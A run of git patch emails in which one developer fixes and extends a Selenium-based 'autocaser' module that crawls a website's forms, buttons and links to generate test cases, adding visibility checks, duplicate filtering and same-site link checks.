 app/api/utils/autocaser.py | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 82019bd7..c51615c5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -372,13 +372,10 @@ def get_current_elements(self) -> list:
 
     def check_for_duplicates(self, elements: list, selector: str) -> bool:
         found_duplicate = False
-        print('checking for duplicates...')
         for elem in elements:
             # check if selector exists already
-            print(f'{selector} <||> {elem["selector"]}')
             if elem['selector'] == selector:
                 found_duplicate = True
-                print('element is a duplicate')
                 break
 
             # check if sub_elements exists
@@ -471,8 +468,16 @@ def get_elements(self):
                 self.driver.get(start_page)
                 driver_wait(driver=self.driver)
 
+            # getting element by selector
+            try:
+                element = self.driver.find_element(By.CSS_SELECTOR, selector)
+            except Exception as e:
+                print('Element not Reachable, removing')
+                final_start_elements.remove(selector)
+                iterations += 1
+                continue
+            
             # get element info
-            element = self.driver.find_element(By.CSS_SELECTOR, selector)
             element_img = self.get_element_image(element=element)
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)

From 1df3a2558b5c1c99b240ebf893cdb7a923635bf8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 17:56:33 -0600
Subject: [PATCH 481/752] added textarea and element visibility check

---
 app/api/utils/autocaser.py | 108 +++++++++++++++++++++++++++----------
 1 file changed, 81 insertions(+), 27 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index c51615c5..841c7dc9 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -56,6 +56,22 @@ def __init__(
             """
         )
 
+        # setting selector script
+        self.visible_script = (
+            """
+            const isVisible = (elm) => {
+                if (window.getComputedStyle(x).visibility === 'hidden' || window.getComputedStyle(x).display === 'none'){
+                    return false
+                } else {
+                    return true
+                }
+            }
+
+            return isVisible(arguments[0])
+            
+            """
+        )
+
         # setting defaults for inputs
         self.input_types = {
             "button":           {'test_data': None, 'action': 'click'},
@@ -126,7 +142,13 @@ def update_process(
 
 
 
-
+    def is_element_visible(self, element: object) -> bool: 
+        resp = self.driver.execute_script(self.visible_script, elememt)
+        resp = str(resp).lower()
+        if resp == 'true':
+            return True
+        if resp == 'false':
+            return False
 
 
 
@@ -190,14 +212,15 @@ def record_forms(self, elements: list, form: object=None) -> list:
             # get form image
             form_img = self.get_element_image(element=form)
             
+            # defining form.elements
+            sub_elements = []
+
             # get all input fields in form
             inputs = form.find_elements(By.TAG_NAME, "input")
-
             # iterate through each input
-            sub_elements = []
             for i in inputs:
                 
-                if i.get_attribute('type') not in self.blacklist:
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
@@ -219,9 +242,36 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         'elements': None,
                     })
 
+
+            # get all textarea fields in form
+            textareas = form.find_elements(By.TAG_NAME, "textarea")
+            # iterate through each input
+            for i in textareas:
+                
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                    # get input data
+                    input_selector = self.driver.execute_script(self.selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    type = i.get_attribute('type')
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': None,
+                        'type': type,
+                        'data': 'This is longer example text for testing.',
+                        'action': 'change',
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+
             # get all iframes elements in form
             iframes = form.find_elements(By.TAG_NAME, "iframe")
-
             # iterate through iframes and save data
             for iframe in iframes:
                 
@@ -237,7 +287,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 iframe_elements = []
                 for i in iframe_inputs:
                     
-                    if i.get_attribute('type') not in self.blacklist:
+                    if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                         # get input data
                         input_selector = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
@@ -275,32 +325,31 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 })
 
 
-
             # get all button elements in form
             btns = form.find_elements(By.TAG_NAME, "button")
-
             # iterate through each btn
             for btn in btns:
 
-                # get button data
-                btn_selector = self.driver.execute_script(self.selector_script, btn)
-                type = btn.get_attribute('type')
-                btn_img = self.get_element_image(element=btn)
-                relative_url = self.get_relative_url(self.driver.current_url)
+                if self.is_element_visible(btn):
+                    # get button data
+                    btn_selector = self.driver.execute_script(self.selector_script, btn)
+                    type = btn.get_attribute('type')
+                    btn_img = self.get_element_image(element=btn)
+                    relative_url = self.get_relative_url(self.driver.current_url)
 
-                sub_elements.append({
-                    'selector': btn_selector,
-                    'elem_type': 'button',
-                    'placeholder': None,
-                    'value': None,
-                    'type': type,
-                    'data': None,
-                    'elements': None,
-                    'action': 'click',
-                    'path': relative_url,
-                    'img': btn_img,
-                    'elements': None,
-                })
+                    sub_elements.append({
+                        'selector': btn_selector,
+                        'elem_type': 'button',
+                        'placeholder': None,
+                        'value': None,
+                        'type': type,
+                        'data': None,
+                        'elements': None,
+                        'action': 'click',
+                        'path': relative_url,
+                        'img': btn_img,
+                        'elements': None,
+                    })
 
 
             # save elem data
@@ -344,7 +393,7 @@ def get_priority_elements(self, elements: list) -> dict:
 
             # check each priority word against element innerText
             for word in priority_words:
-                if word in elm_text.lower():
+                if word in elm_text.lower() or elm_text.lower() in word:
                     priority_elements.append(element)
                     break
                 elif element not in non_priority_elements:
@@ -439,6 +488,11 @@ def get_elements(self):
                 random.randint(0, (len(non_priority_elements) - 1))
             ]
 
+            # checking if chosen element is visible
+            if not self.is_element_visible(choosen):
+                iterations += 1
+                continue
+
             # check if element exists in final_start_elements[]
             selector = self.driver.execute_script(self.selector_script, choosen)
             if selector in final_start_elements:

From c52e2fddd6bd6ca7723cb8475778ac125bfcb785 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 18:02:32 -0600
Subject: [PATCH 482/752] fixed typo

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 841c7dc9..f64b0435 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -143,7 +143,7 @@ def update_process(
 
 
     def is_element_visible(self, element: object) -> bool: 
-        resp = self.driver.execute_script(self.visible_script, elememt)
+        resp = self.driver.execute_script(self.visible_script, element)
         resp = str(resp).lower()
         if resp == 'true':
             return True

From 6fc978cf73a435bc37c46bd0c32f5a92e5252e7d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 18:07:43 -0600
Subject: [PATCH 483/752] fixing more typos

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index f64b0435..794b3ebb 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -60,7 +60,7 @@ def __init__(
         self.visible_script = (
             """
             const isVisible = (elm) => {
-                if (window.getComputedStyle(x).visibility === 'hidden' || window.getComputedStyle(x).display === 'none'){
+                if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){
                     return false
                 } else {
                     return true

From 0cdf60fbf5c630e8cbf4b9978bd9c9751d2c1edf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 09:52:27 -0600
Subject: [PATCH 484/752] fixing layers loop issue

---
 app/api/utils/autocaser.py | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 794b3ebb..6ffc8a63 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -704,6 +704,17 @@ def get_elements(self):
                                 print('Element not Clickable, removing')
                                 sub_elements.pop()
 
+                   
+                    # catching all other situations
+                    # naving back to previous_url   
+                    else:
+                        print('no coditions were met')
+
+                        # add to layers
+                        layers += 1
+
+                        # going back
+                        self.driver.get(previous_url)
 
                 # catching all other situations
                 # naving back to previous_url   

From 68910780c06eadde699c0013a106b9224a42d2ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 11:51:16 -0600
Subject: [PATCH 485/752] trying new method for cleaning new_element

---
 app/api/utils/autocaser.py | 224 ++++++++++++++++++++-----------------
 1 file changed, 121 insertions(+), 103 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 6ffc8a63..7c018e0a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -27,6 +27,11 @@ def __init__(
         self.process = process
         self.max_cases = max_cases
         self.max_layers = max_layers
+        
+        # high-level elemets array.
+        # All elememts represent the 
+        # begining of a new Case.
+        self.elements = []
 
         # starting driver
         self.driver = driver_init()
@@ -419,8 +424,9 @@ def get_current_elements(self) -> list:
 
 
 
-    def check_for_duplicates(self, elements: list, selector: str) -> bool:
+    def check_for_duplicates(self, selector: str, elements: list=self.elements) -> bool:
         found_duplicate = False
+
         for elem in elements:
             # check if selector exists already
             if elem['selector'] == selector:
@@ -429,7 +435,7 @@ def check_for_duplicates(self, elements: list, selector: str) -> bool:
 
             # check if sub_elements exists
             if elem['elements'] != None:
-                self.check_for_duplicates(elem['elements'])
+                self.check_for_duplicates(selector=selector, elements=elem['elements'])
 
         # return result
         return found_duplicate
@@ -437,12 +443,34 @@ def check_for_duplicates(self, elements: list, selector: str) -> bool:
 
 
 
-    def get_elements(self):
+    def get_clean_elements(new_elements: list) -> list:
+        cleaned_elements = []
+        current_url = self.driver.current_url
 
-        # high-level elemets array.
-        # All elememts represent the 
-        # begining of a new Case.
-        elements = []
+        for elem in new_elements:
+            # get slector
+            elem_selector = self.driver.execute_script(self.selector_script, elem)
+            
+            # check duplicates
+            if self.check_for_duplicates(selector=elem_selector):
+                continue
+            
+            # check url if <a>
+            if elem.tag_name == 'a':
+                # check if action will reload page
+                if current_url == elem.get_attribute('href'):
+                    continue
+
+            # add to cleaned conditions passed
+            current_url.append(elem)
+        
+        # return cleaned elements
+        return cleaned_elements
+
+
+
+
+    def get_elements(self):
 
         # get site page
         self.driver.get(self.site.site_url)
@@ -568,58 +596,61 @@ def get_elements(self):
                     
                     # check for new element
                     new_elements = self.get_current_elements()
+                    
+                    # cleaning new elements
+                    new_elements = self.get_clean_elements(new_elements)
+
                     for elem in new_elements:
-                        if elem not in old_elements:
 
-                            # get sub element info
-                            elem_selector = self.driver.execute_script(self.selector_script, elem)
-                            elem_img = self.get_element_image(element=elem)
-                            relative_url = self.get_relative_url(self.driver.current_url)
+                        # get sub element info
+                        elem_selector = self.driver.execute_script(self.selector_script, elem)
+                        elem_img = self.get_element_image(element=elem)
+                        relative_url = self.get_relative_url(self.driver.current_url)
+
+                        # # check if element is duplicate
+                        # if not self.check_for_duplicates(selector=elem_selector, elements=sub_elements):
+                        
+                        # found new element, record, click, & continue
+                        if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                            # record element
+                            sub_elements.append({
+                                'selector': elem_selector,
+                                'elem_type': elem.tag_name,
+                                'placeholder': None,
+                                'value': None,
+                                'type': None,
+                                'data': None,
+                                'action': 'click',
+                                'path': relative_url,
+                                'img': elem_img,
+                                'elements': None,
+                            })
+
+                            # click element
+                            try:
+                                elem.click()
+                            except Exception as e:
+                                print('Element not Clickable, removing')
+                                sub_elements.pop()
 
-                            # check if element is duplicate
-                            if not self.check_for_duplicates(sub_elements, elem_selector):
+                            # add to layers and ending internal loop
+                            layers += 1
+                            break
+                        
+                        # found new form, record and end run
+                        if elem.tag_name == 'form':
                             
-                                # found new element, record, click, & continue
-                                if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                                    # record element
-                                    sub_elements.append({
-                                        'selector': elem_selector,
-                                        'elem_type': elem.tag_name,
-                                        'placeholder': None,
-                                        'value': None,
-                                        'type': None,
-                                        'data': None,
-                                        'action': 'click',
-                                        'path': relative_url,
-                                        'img': elem_img,
-                                        'elements': None,
-                                    })
-
-                                    # click element
-                                    try:
-                                        elem.click()
-                                    except Exception as e:
-                                        print('Element not Clickable, removing')
-                                        sub_elements.pop()
-
-                                    # add to layers and ending internal loop
-                                    layers += 1
-                                    break
-                                
-                                # found new form, record and end run
-                                if elem.tag_name == 'form':
-                                    
-                                    # record form into sub_elements list
-                                    sub_elements = self.record_forms(
-                                        elements=sub_elements, 
-                                        form=elem
-                                    )
-
-                                    # add to layers and ending case
-                                    layers += 1
-                                    run = False
-                                    break
+                            # record form into sub_elements list
+                            sub_elements = self.record_forms(
+                                elements=sub_elements, 
+                                form=elem
+                            )
+
+                            # add to layers and ending case
+                            layers += 1
+                            run = False
+                            break
                     
                     # add to layers
                     layers += 1
@@ -632,6 +663,9 @@ def get_elements(self):
                     # get new elements and randomly choose 1 (with priority)
                     new_elements = self.get_current_elements()
 
+                    # cleaning new elements
+                    new_elements = self.get_clean_elements(new_elements)
+
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
                         elements=new_elements,
@@ -664,66 +698,50 @@ def get_elements(self):
                     elem_img = self.get_element_image(element=elem)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
-                    # check if element is duplicate
-                    if not self.check_for_duplicates(sub_elements, elem_selector):
+                    # check the type of element
+                    if elem.tag_name == 'form':
+                        # record form into sub_elements list
+                        sub_elements = self.record_forms(
+                            elements=sub_elements,
+                            form=elem
+                        )
 
-                        # check the type of element
-                        if elem.tag_name == 'form':
-                            # record form into sub_elements list
-                            sub_elements = self.record_forms(
-                                elements=sub_elements,
-                                form=elem
-                            )
-
-                            # add to layers and ending case
-                            layers += 1
-                            run = False
-                    
-                        if elem.tag_name == 'a' or elem.tag_name == 'button':
-                            # record element
-                            sub_elements.append({
-                                'selector': elem_selector,
-                                'elem_type': elem.tag_name,
-                                'placeholder': None,
-                                'value': None,
-                                'type': None,
-                                'data': None,
-                                'action': 'click',
-                                'path': relative_url,
-                                'img': elem_img,
-                                'elements': None,
-                            })
-
-                            # add to layers
-                            layers += 1
-
-                            # click element
-                            try:
-                                elem.click()
-                            except Exception as e:
-                                print('Element not Clickable, removing')
-                                sub_elements.pop()
-
-                   
-                    # catching all other situations
-                    # naving back to previous_url   
-                    else:
-                        print('no coditions were met')
+                        # add to layers and ending case
+                        layers += 1
+                        run = False
+                
+                    if elem.tag_name == 'a' or elem.tag_name == 'button':
+                        # record element
+                        sub_elements.append({
+                            'selector': elem_selector,
+                            'elem_type': elem.tag_name,
+                            'placeholder': None,
+                            'value': None,
+                            'type': None,
+                            'data': None,
+                            'action': 'click',
+                            'path': relative_url,
+                            'img': elem_img,
+                            'elements': None,
+                        })
 
                         # add to layers
                         layers += 1
 
-                        # going back
-                        self.driver.get(previous_url)
+                        # click element
+                        try:
+                            elem.click()
+                        except Exception as e:
+                            print('Element not Clickable, removing')
+                            sub_elements.pop()
+
 
                 # catching all other situations
                 # naving back to previous_url   
                 else:
                     print('no coditions were met')
-
                     # add to layers
                     layers += 1
-
                     # going back
                     self.driver.get(previous_url)
                     

From d163f1e04e7de18b6c8e706bd23a2c27ca1028f8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 11:57:36 -0600
Subject: [PATCH 486/752] fixed minor ref bug

---
 app/api/utils/autocaser.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7c018e0a..065a623a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -424,8 +424,10 @@ def get_current_elements(self) -> list:
 
 
 
-    def check_for_duplicates(self, selector: str, elements: list=self.elements) -> bool:
+    def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
         found_duplicate = False
+        if elements is None:
+            elements = self.elements
 
         for elem in elements:
             # check if selector exists already

From 64e40c03dde89732af8e3b04b1052b3c1e0b65d9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 11:59:37 -0600
Subject: [PATCH 487/752] fixing class level refs

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 065a623a..fd34df9b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -479,7 +479,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=elements)
+        elements = self.record_forms(elements=self.elements)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -749,7 +749,7 @@ def get_elements(self):
                     
                 
             # adding final info to elememt list
-            elements.append({
+            self.elements.append({
                 'selector': selector,
                 'elem_type': element_type,
                 'elem_text': elem_text,

From f3e12292934ac6b3460af357dedd330356720f22 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:10:39 -0600
Subject: [PATCH 488/752] added handling for more edge cases

---
 app/api/utils/autocaser.py | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index fd34df9b..e845a93e 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -445,7 +445,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
 
 
 
-    def get_clean_elements(new_elements: list) -> list:
+    def get_clean_elements(elements: list) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 
@@ -479,7 +479,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=self.elements)
+        self.elements = self.record_forms(elements=self.elements)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -490,9 +490,12 @@ def get_elements(self):
         # combine buttons and links
         start_elms = buttons + links
 
+        # clean start element
+        cleaned_start_elems = self.get_clean_elements(start_elms)
+
         # sorting start_elems
         sorted_elements = self.get_priority_elements(
-            elements=start_elms, 
+            elements=cleaned_start_elems, 
         )
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
@@ -600,7 +603,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
                     
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(new_elements)
+                    new_elements = self.get_clean_elements(elements)
 
                     for elem in new_elements:
 
@@ -608,9 +611,6 @@ def get_elements(self):
                         elem_selector = self.driver.execute_script(self.selector_script, elem)
                         elem_img = self.get_element_image(element=elem)
                         relative_url = self.get_relative_url(self.driver.current_url)
-
-                        # # check if element is duplicate
-                        # if not self.check_for_duplicates(selector=elem_selector, elements=sub_elements):
                         
                         # found new element, record, click, & continue
                         if elem.tag_name == 'a' or elem.tag_name == 'button':
@@ -666,7 +666,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
 
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(new_elements)
+                    new_elements = self.get_clean_elements(elements)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(

From e5c7ac1bb3fbd4138399229b1464f9fd6e4103e8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:17:00 -0600
Subject: [PATCH 489/752] fixed keyword invalidation

---
 app/api/utils/autocaser.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index e845a93e..4c9797f8 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -603,9 +603,9 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
                     
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(elements)
+                    cleaned_elements = self.get_clean_elements(new_elements)
 
-                    for elem in new_elements:
+                    for elem in cleaned_elements:
 
                         # get sub element info
                         elem_selector = self.driver.execute_script(self.selector_script, elem)
@@ -666,11 +666,11 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
 
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(elements)
+                    cleaned_elements = self.get_clean_elements(new_elements)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
-                        elements=new_elements,
+                        elements=cleaned_elements,
                     )
                     priority_elements = sorted_elements['priority_elements']
                     non_priority_elements = sorted_elements['non_priority_elements']

From a2882275ec33aebfd8591882c30cf0cb38ac3361 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:26:39 -0600
Subject: [PATCH 490/752] fixed function scope issue

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 4c9797f8..429e2892 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -445,7 +445,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
 
 
 
-    def get_clean_elements(elements: list) -> list:
+    def get_clean_elements(self, elements: list) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 

From 473f889233278507595a3a734faf4b0618ff718d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:41:33 -0600
Subject: [PATCH 491/752] fixed typo

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 429e2892..8cc6d05e 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -449,7 +449,7 @@ def get_clean_elements(self, elements: list) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 
-        for elem in new_elements:
+        for elem in elements:
             # get slector
             elem_selector = self.driver.execute_script(self.selector_script, elem)
             

From 2430c3f302a0e6a4fe8eab4b2ca481eee7371839 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:50:34 -0600
Subject: [PATCH 492/752] fixed typo

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8cc6d05e..6dd00881 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -464,7 +464,7 @@ def get_clean_elements(self, elements: list) -> list:
                     continue
 
             # add to cleaned conditions passed
-            current_url.append(elem)
+            cleaned_elements.append(elem)
         
         # return cleaned elements
         return cleaned_elements

From 892625e0ef7497704ab73e9c012ce2c82430ffd0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:56:25 -0600
Subject: [PATCH 493/752] fixing more typos

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 6dd00881..362ea00f 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -514,7 +514,7 @@ def get_elements(self):
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while (len(final_start_elements) + len(elements)) < self.max_cases and iterations < (5 * self.max_cases):
+        while (len(final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[
@@ -773,7 +773,7 @@ def get_elements(self):
         quit_driver(self.driver)
 
         # return elements
-        return elements
+        return self.elements
 
 
 

From 70f15dd1b23d546a73f8896c689d0b739b549d9e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:12:11 -0600
Subject: [PATCH 494/752] fixing some stuff

---
 app/api/utils/autocaser.py | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 362ea00f..f14349d7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -418,7 +418,7 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
-        current_elements = buttons + links + forms
+        current_elements = forms + buttons + links
         return current_elements
 
 
@@ -455,12 +455,18 @@ def get_clean_elements(self, elements: list) -> list:
             
             # check duplicates
             if self.check_for_duplicates(selector=elem_selector):
+                print(f'found duplicate => {elem_selector}')
                 continue
             
             # check url if <a>
             if elem.tag_name == 'a':
                 # check if action will reload page
                 if current_url == elem.get_attribute('href'):
+                    print('elem reloads page')
+                    continue
+                # check if action will nav to new site
+                if not current_url.startswith(self.site.site_url):
+                    print(f'elem links to different site')
                     continue
 
             # add to cleaned conditions passed
@@ -737,7 +743,6 @@ def get_elements(self):
                             print('Element not Clickable, removing')
                             sub_elements.pop()
 
-
                 # catching all other situations
                 # naving back to previous_url   
                 else:

From 4380a0acdc051d38cb2b0295792370c19434f061 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:30:51 -0600
Subject: [PATCH 495/752] changing scope of duplicate checker and fixed url
 checker

---
 app/api/utils/autocaser.py | 22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index f14349d7..5ce3f06b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -445,7 +445,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
 
 
 
-    def get_clean_elements(self, elements: list) -> list:
+    def get_clean_elements(self, elements: list, check_against: list=None) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 
@@ -453,19 +453,27 @@ def get_clean_elements(self, elements: list) -> list:
             # get slector
             elem_selector = self.driver.execute_script(self.selector_script, elem)
             
-            # check duplicates
+            # check local duplicates 
+            if check_against is not None:
+                if self.check_for_duplicates(selector=elem_selector, elements=existing_elems):
+                    print(f'found local duplicate => {elem_selector}')
+                    continue
+            
+            # check global duplicates
             if self.check_for_duplicates(selector=elem_selector):
-                print(f'found duplicate => {elem_selector}')
+                print(f'found global duplicate => {elem_selector}')
                 continue
             
             # check url if <a>
             if elem.tag_name == 'a':
                 # check if action will reload page
-                if current_url == elem.get_attribute('href'):
+                elem_link = elem.get_attribute('href')
+                if current_url == elem_link:
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site
-                if not current_url.startswith(self.site.site_url):
+                print(f'current_url: "current_url" ')
+                if not elem_link.startswith(self.site.site_url):
                     print(f'elem links to different site')
                     continue
 
@@ -609,7 +617,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
                     
                     # cleaning new elements
-                    cleaned_elements = self.get_clean_elements(new_elements)
+                    cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
                     for elem in cleaned_elements:
 
@@ -672,7 +680,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
 
                     # cleaning new elements
-                    cleaned_elements = self.get_clean_elements(new_elements)
+                    cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(

From 6297fcc9d1aa7d17c1aafd4122c3c74c6db08be0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:36:33 -0600
Subject: [PATCH 496/752] fixed some typos

---
 app/api/utils/autocaser.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5ce3f06b..3acc7cc6 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -455,7 +455,7 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             
             # check local duplicates 
             if check_against is not None:
-                if self.check_for_duplicates(selector=elem_selector, elements=existing_elems):
+                if self.check_for_duplicates(selector=elem_selector, elements=check_against):
                     print(f'found local duplicate => {elem_selector}')
                     continue
             
@@ -472,7 +472,6 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site
-                print(f'current_url: "current_url" ')
                 if not elem_link.startswith(self.site.site_url):
                     print(f'elem links to different site')
                     continue

From ded39799ab291083d063ecb41996a4fa9da7393e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:47:38 -0600
Subject: [PATCH 497/752] fixed link issues

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 3acc7cc6..fa6d25f7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -466,9 +466,9 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             
             # check url if <a>
             if elem.tag_name == 'a':
-                # check if action will reload page
+                # check if action will reload page or site root
                 elem_link = elem.get_attribute('href')
-                if current_url == elem_link:
+                if current_url == elem_link or elem_link == self.site.site_url:
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site

From 643a24d6ef5cfab645173fd56c0682fc9205b31d Mon Sep 17 00:00:00 2001
